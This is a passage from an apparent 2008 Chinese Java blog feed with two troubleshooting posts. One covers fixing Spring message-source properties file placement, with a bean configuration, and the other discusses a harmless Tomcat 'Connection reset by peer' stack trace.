<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;junit.framework.TestCase.runBare(TestCase.java:</span><span style="color: #000000">134</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;junit.framework.TestResult$</span><span style="color: #000000">1</span><span style="color: #000000">.protect(TestResult.java:</span><span style="color: #000000">110</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;junit.framework.TestResult.runProtected(TestResult.java:</span><span style="color: #000000">128</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;junit.framework.TestResult.run(TestResult.java:</span><span style="color: #000000">113</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;junit.framework.TestCase.run(TestCase.java:</span><span style="color: #000000">124</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;junit.framework.TestSuite.runTest(TestSuite.java:</span><span style="color: #000000">232</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;junit.framework.TestSuite.run(TestSuite.java:</span><span style="color: #000000">227</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.junit.internal.runners.OldTestClassRunner.run(OldTestClassRunner.java:</span><span style="color: #000000">76</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.eclipse.jdt.internal.junit4.runner.JUnit4TestReference.run(JUnit4TestReference.java:</span><span style="color: #000000">45</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.eclipse.jdt.internal.junit.runner.TestExecution.run(TestExecution.java:</span><span style="color: #000000">38</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.runTests(RemoteTestRunner.java:</span><span style="color: #000000">460</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.runTests(RemoteTestRunner.java:</span><span style="color: #000000">673</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.run(RemoteTestRunner.java:</span><span style="color: #000000">386</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.main(RemoteTestRunner.java:</span><span style="color: #000000">196</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span></div>
<br />
&nbsp;&nbsp;&nbsp;&nbsp; 出现这个问题主要是因为没有把属性文件放对地方，如果你使用eclipse的话，应该把属性文件放在src文件夹下，而不是工程下！！ 你还记得log4j的配置文件(log4j.properties)放在什么地方么？呵呵 想起来吧~~<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp; 还有可能是属性文件的名称不正确？messages_zh_CN.properties messages_en_US.properties<br />
&nbsp;&nbsp;&nbsp; 当然bean的配置文件也是有要求，这是必须滴。<br />
&nbsp;
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><span style="color: #000000">&lt;?</span><span style="color: #000000">xml&nbsp;version</span><span style="color: #000000">=</span><span style="color: #000000">"</span><span style="color: #000000">1.0</span><span style="color: #000000">"</span><span style="color: #000000">&nbsp;encoding</span><span style="color: #000000">=</span><span style="color: #000000">"</span><span style="color: #000000">UTF-8</span><span style="color: #000000">"</span><span style="color: #000000">?&gt;</span><span style="color: #000000">&nbsp;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">&lt;</span><span style="color: #000000">beans&nbsp;xmlns</span><span style="color: #000000">=</span><span style="color: #000000">"</span><span style="color: #000000">http://www.springframework.org/schema/beans</span><span style="color: #000000">"</span><span style="color: #000000">&nbsp;xmlns:xsi</span><span style="color: #000000">=</span><span style="color: #000000">"</span><span style="color: #000000">http://www.w3.org/2001/XMLSchema-instance</span><span style="color: #000000">"</span><span style="color: #000000">&nbsp;&nbsp;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;xmlns:aop</span><span style="color: #000000">=</span><span style="color: #000000">"</span><span style="color: #000000">http://www.springframework.org/schema/aop</span><span style="color: #000000">"</span><span style="color: #000000">&nbsp;xmlns:tx</span><span style="color: #000000">=</span><span style="color: #000000">"</span><span style="color: #000000">http://www.springframework.org/schema/tx</span><span style="color: #000000">"</span><span style="color: #000000">&nbsp;&nbsp;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;xmlns:context</span><span style="color: #000000">=</span><span style="color: #000000">"</span><span style="color: #000000">http://www.springframework.org/schema/context</span><span style="color: #000000">"</span><span style="color: #000000">&nbsp;&nbsp;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;xsi:schemaLocation</span><span style="color: #000000">=</span><span style="color: #000000">"</span><span style="color: #000000">&nbsp;&nbsp;&nbsp;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http:</span><span style="color: #008000">//</span><span style="color: #008000">www.springframework.org/schema/beans&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http:</span><span style="color: #008000">//</span><span style="color: #008000">www.springframework.org/schema/beans/spring-beans-2.0.xsd&nbsp;&nbsp;&nbsp;</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http:</span><span style="color: #008000">//</span><span style="color: #008000">www.springframework.org/schema/aop&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http:</span><span style="color: #008000">//</span><span style="color: #008000">www.springframework.org/schema/aop/spring-aop-2.0.xsd&nbsp;&nbsp;&nbsp;</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http:</span><span style="color: #008000">//</span><span style="color: #008000">www.springframework.org/schema/tx&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http:</span><span style="color: #008000">//</span><span style="color: #008000">www.springframework.org/schema/tx/spring-tx-2.0.xsd&nbsp;&nbsp;&nbsp;</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http:</span><span style="color: #008000">//</span><span style="color: #008000">www.springframework.org/schema/context&nbsp;&nbsp;&nbsp;</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http:</span><span style="color: #008000">//</span><span style="color: #008000">www.springframework.org/schema/context/spring-context-2.5.xsd"&gt;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">&lt;</span><span style="color: #000000">bean&nbsp;id</span><span style="color: #000000">=</span><span style="color: #000000">"</span><span style="color: #000000">messageSource</span><span style="color: #000000">"</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">class</span><span style="color: #000000">=</span><span style="color: #000000">"</span><span style="color: #000000">org.springframework.context.support.ResourceBundleMessageSource</span><span style="color: #000000">"</span><span style="color: #000000">&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">&lt;</span><span style="color: #000000">property&nbsp;name</span><span style="color: #000000">=</span><span style="color: #000000">"</span><span style="color: #000000">basenames</span><span style="color: #000000">"</span><span style="color: #000000">&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000">&lt;</span><span style="color: #000000">list</span><span style="color: #000000">&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000">&lt;</span><span style="color: #000000">value</span><span style="color: #000000">&gt;</span><span style="color: #000000">messages</span><span style="color: #000000">&lt;/</span><span style="color: #000000">value</span><span style="color: #000000">&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000">&lt;/</span><span style="color: #000000">list</span><span style="color: #000000">&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">&lt;/</span><span style="color: #000000">property</span><span style="color: #000000">&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">&lt;/</span><span style="color: #000000">bean</span><span style="color: #000000">&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">&lt;/</span><span style="color: #000000">beans</span><span style="color: #000000">&gt;</span></div>
&nbsp;&nbsp;&nbsp;&nbsp; 我这样解决了？你呢？<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp; good luck`~~~
 <img src ="http://www.blogjava.net/soddabao/aggbug/232735.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/soddabao/" target="_blank">冷面阎罗</a> 2008-10-06 19:23 <a href="http://www.blogjava.net/soddabao/archive/2008/10/06/232735.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>有关TOMCAT出现StandardWrapperValve[default]: Servlet.service() for servlet default threw exception</title><link>http://www.blogjava.net/soddabao/archive/2008/09/28/231641.html</link><dc:creator>冷面阎罗</dc:creator><author>冷面阎罗</author><pubDate>Sun, 28 Sep 2008 04:06:00 GMT</pubDate><guid>http://www.blogjava.net/soddabao/archive/2008/09/28/231641.html</guid><wfw:comment>http://www.blogjava.net/soddabao/comments/231641.html</wfw:comment><comments>http://www.blogjava.net/soddabao/archive/2008/09/28/231641.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/soddabao/comments/commentRss/231641.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/soddabao/services/trackbacks/231641.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 也不知道最近是怎么了，只要系统出现什么问题都想去解决，可能是因为作为项目的管理者、技术支持吧。今天早上发现系统后台出现如下异常：<br />
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><span style="color: #000000">StandardWrapperValve[</span><span style="color: #0000ff">default</span><span style="color: #000000">]:&nbsp;Servlet.service()&nbsp;</span><span style="color: #0000ff">for</span><span style="color: #000000">&nbsp;servlet&nbsp;</span><span style="color: #0000ff">default</span><span style="color: #000000">&nbsp;threw&nbsp;exception<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />java.net.SocketException:&nbsp;Connection&nbsp;reset&nbsp;by&nbsp;peer:&nbsp;socket&nbsp;write&nbsp;error<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;java.net.SocketOutputStream.socketWrite0(Native&nbsp;Method)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;java.net.SocketOutputStream.socketWrite(SocketOutputStream.java:</span><span style="color: #000000">92</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;java.net.SocketOutputStream.write(SocketOutputStream.java:</span><span style="color: #000000">136</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.coyote.http11.InternalOutputBuffer$OutputStreamOutputBuffer.doWrite(InternalOutputBuffer.java:</span><span style="color: #000000">668</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.coyote.http11.filters.IdentityOutputFilter.doWrite(IdentityOutputFilter.java:</span><span style="color: #000000">160</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.coyote.http11.InternalOutputBuffer.doWrite(InternalOutputBuffer.java:</span><span style="color: #000000">523</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.coyote.Response.doWrite(Response.java:</span><span style="color: #000000">524</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.coyote.tomcat4.OutputBuffer.realWriteBytes(OutputBuffer.java:</span><span style="color: #000000">384</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.tomcat.util.buf.ByteChunk.flushBuffer(ByteChunk.java:</span><span style="color: #000000">439</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.tomcat.util.buf.ByteChunk.append(ByteChunk.java:</span><span style="color: #000000">359</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.coyote.tomcat4.OutputBuffer.writeBytes(OutputBuffer.java:</span><span style="color: #000000">411</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.coyote.tomcat4.OutputBuffer.write(OutputBuffer.java:</span><span style="color: #000000">398</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.coyote.tomcat4.CoyoteOutputStream.write(CoyoteOutputStream.java:</span><span style="color: #000000">110</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.servlets.DefaultServlet.copyRange(DefaultServlet.java:</span><span style="color: #000000">1996</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.servlets.DefaultServlet.copy(DefaultServlet.java:</span><span style="color: #000000">1745</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.servlets.DefaultServlet.serveResource(DefaultServlet.java:</span><span style="color: #000000">1073</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.servlets.DefaultServlet.doGet(DefaultServlet.java:</span><span style="color: #000000">506</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;javax.servlet.http.HttpServlet.service(HttpServlet.java:</span><span style="color: #000000">740</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;javax.servlet.http.HttpServlet.service(HttpServlet.java:</span><span style="color: #000000">853</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:</span><span style="color: #000000">247</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:</span><span style="color: #000000">193</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:</span><span style="color: #000000">256</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.StandardPipeline$StandardPipelineValveContext.invokeNext(StandardPipeline.java:</span><span style="color: #000000">643</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:</span><span style="color: #000000">480</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.ContainerBase.invoke(ContainerBase.java:</span><span style="color: #000000">995</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:</span><span style="color: #000000">191</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.StandardPipeline$StandardPipelineValveContext.invokeNext(StandardPipeline.java:</span><span style="color: #000000">643</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:</span><span style="color: #000000">480</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.ContainerBase.invoke(ContainerBase.java:</span><span style="color: #000000">995</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.StandardContext.invoke(StandardContext.java:</span><span style="color: #000000">2415</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:</span><span style="color: #000000">180</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.StandardPipeline$StandardPipelineValveContext.invokeNext(StandardPipeline.java:</span><span style="color: #000000">643</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.valves.ErrorDispatcherValve.invoke(ErrorDispatcherValve.java:</span><span style="color: #000000">171</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.StandardPipeline$StandardPipelineValveContext.invokeNext(StandardPipeline.java:</span><span style="color: #000000">641</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:</span><span style="color: #000000">172</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.StandardPipeline$StandardPipelineValveContext.invokeNext(StandardPipeline.java:</span><span style="color: #000000">641</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:</span><span style="color: #000000">480</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.ContainerBase.invoke(ContainerBase.java:</span><span style="color: #000000">995</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:</span><span style="color: #000000">174</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.StandardPipeline$StandardPipelineValveContext.invokeNext(StandardPipeline.java:</span><span style="color: #000000">643</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:</span><span style="color: #000000">480</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.ContainerBase.invoke(ContainerBase.java:</span><span style="color: #000000">995</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.coyote.tomcat4.CoyoteAdapter.service(CoyoteAdapter.java:</span><span style="color: #000000">223</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:</span><span style="color: #000000">594</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.processConnection(Http11Protocol.java:</span><span style="color: #000000">392</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.tomcat.util.net.TcpWorkerThread.runIt(PoolTcpEndpoint.java:</span><span style="color: #000000">565</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:</span><span style="color: #000000">619</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;java.lang.Thread.run(Thread.java:</span><span style="color: #000000">536</span><span style="color: #000000">)</span></div>
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 其实这个异常之前也出现过N多此，自己也没在意，毕竟出现异常里面没有自己写的代码，所有没怎么在意。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这个异常对系统没有多少影响，网上有人说是连接池的问题，也有人是页面没有完全响应，你就去做别的事情。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 我更偏向于后一个解释，自己也做过测试快度操作系统后，就发现这个异常出现，如果点一下，然后在去跟踪代码都进行什么操作，连接池等，就没有发现异常。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 不知道你发现过这个异常么？你是怎么解决的，欢迎提出自己的想法，大家一起研究一下。
